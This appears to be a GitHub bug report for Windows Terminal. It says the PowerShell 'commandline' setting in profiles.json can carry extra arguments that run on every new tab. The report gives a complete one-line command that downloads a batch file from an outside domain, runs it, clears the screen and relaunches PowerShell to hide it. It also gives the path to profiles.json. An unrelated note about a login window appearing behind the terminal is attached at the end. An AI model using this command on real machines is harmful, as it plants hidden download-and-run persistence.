<h1 dir="auto">Environment</h1>
<div class="snippet-clipboard-content notranslate position-relative overflow-auto" data-snippet-clipboard-copy-content="Windows Edition: Windows 10 Education
Version: 1903
OS Build: 18362.10005
Windows Terminal version: 0.3.2142.0
"><pre lang="none" class="notranslate"><code class="notranslate">Windows Edition: Windows 10 Education
Version: 1903
OS Build: 18362.10005
Windows Terminal version: 0.3.2142.0

</code></pre></div>
<h1 dir="auto">Possible Bug: Description</h1>
<p dir="auto">In profiles.json, under profiles, powershell.exe is the default profile when Terminal app fresh installed. Powershell is called by terminal app using: "commandline" setting with parameter "powershell.exe".</p>
<p dir="auto">We can add parameters after "powershell.exe" to automate tasks. This is happen when each new tab with powershell is opened. But we can go futher to exploit this feature.</p>
<p dir="auto">The GIF demonstration shows one line command to download an (assumed) infected executable from unknown domain, keep it in the public/downloads directory to evade low privilege errors, run the infected executable, clear the screen immediately and run powershell.exe again.</p>
<p dir="auto">It's assumed that the executable will a malware that quickly starts and closes itself. The user will find it hard to detect if anything is happenning because a fresh powershell instance is called after the downloaded executable is run. Also, there is no warning prompt while running the executable as shown in demonstation.</p>
<h3 align="center" dir="auto">
	<a href="https://prohack.tech/MS_Terminal_Possible_Bug.mp4" rel="nofollow">
		<img src="https://camo.githubusercontent.com/026156946bfdf7f1291790f40a70b2d99cf59e1c2315dff7a4654657e05f7645/68747470733a2f2f70726f6861636b2e746563682f64656d6f2e706e67" alt="demo video" width="480" height="360" border="10" data-canonical-src="https://prohack.tech/demo.png" style="max-width: 100%;">
	</a>
</h3>
<h1 dir="auto">Steps to reproduce</h1>
<ul dir="auto">
<li>
<p dir="auto">Create a sample batch script for demo purpose with anything inside. Here I've created script to open multiple cmd windows</p>
</li>
<li>
<p dir="auto">Upload the file to any shady website. Here I've used my own not-trusted website</p>
</li>
<li>
<p dir="auto">Paste the following command after "powershell.exe" for the setting "commandline" under profiles in profiles.json</p>
</li>
</ul>
<p dir="auto">command:<br>
<code class="notranslate">wget -O 'C:\\Users\\Public\\Downloads\\VIR.bat' prohack.tech/VIR.bat ; [Diagnostics.Process]::Start('C:\\Users\\Public\\Downloads\\VIR.bat') ; clear ; powershell.exe</code></p>
<ul dir="auto">
<li>Run the terminal app.</li>
</ul>
<h1 dir="auto">Expected behavior</h1>
<p dir="auto">Expected behavior is to not allow arguments directly from profiles.json setting because another applications could potentially infect(?) the settings file to download untrusted files.</p>
<h1 dir="auto">Actual behavior</h1>
<p dir="auto">Arguments are allowed to run from profiles.json setting.</p>
<h1 dir="auto">Note</h1>
<p dir="auto">Marked as possible security issue because exploiting this may be tricky, since larger file download through wget can be seen as being downloaded by the user. Also, first-hand running processes will show details in powershell instance. But as shown in the demo, processes started from the downloaded executable do not show in powershell. Could possibly be exploited without the user knowing.</p>
<p dir="auto">Finding profiles.json is also easy with this string: "%LOCALAPPDATA%\Packages\Microsoft.WindowsTerminal_8wekyb3d8bbwe\RoamingState".<br>
If this is a real issue, name it 'profile commandline injection' :P</p>
<p dir="auto">When loging in to e.g. AzAccount, the Window where one can enter one's credentials appears behind the Windows Terminal Window and cannot be brought forward by Alt-Tabbing to it, so one has to leave the keyboard and use the mouse isntead to activate it.</p>
<p dir="auto"><a target="_blank" rel="noopener noreferrer nofollow" href="https://user-images.githubusercontent.com/9772624/67087591-84b61700-f1a3-11e9-9b02-17a832839cac.png"><img src="https://user-images.githubusercontent.com/9772624/67087591-84b61700-f1a3-11e9-9b02-17a832839cac.png" alt="grafik" style="max-width: 100%;"></a></p>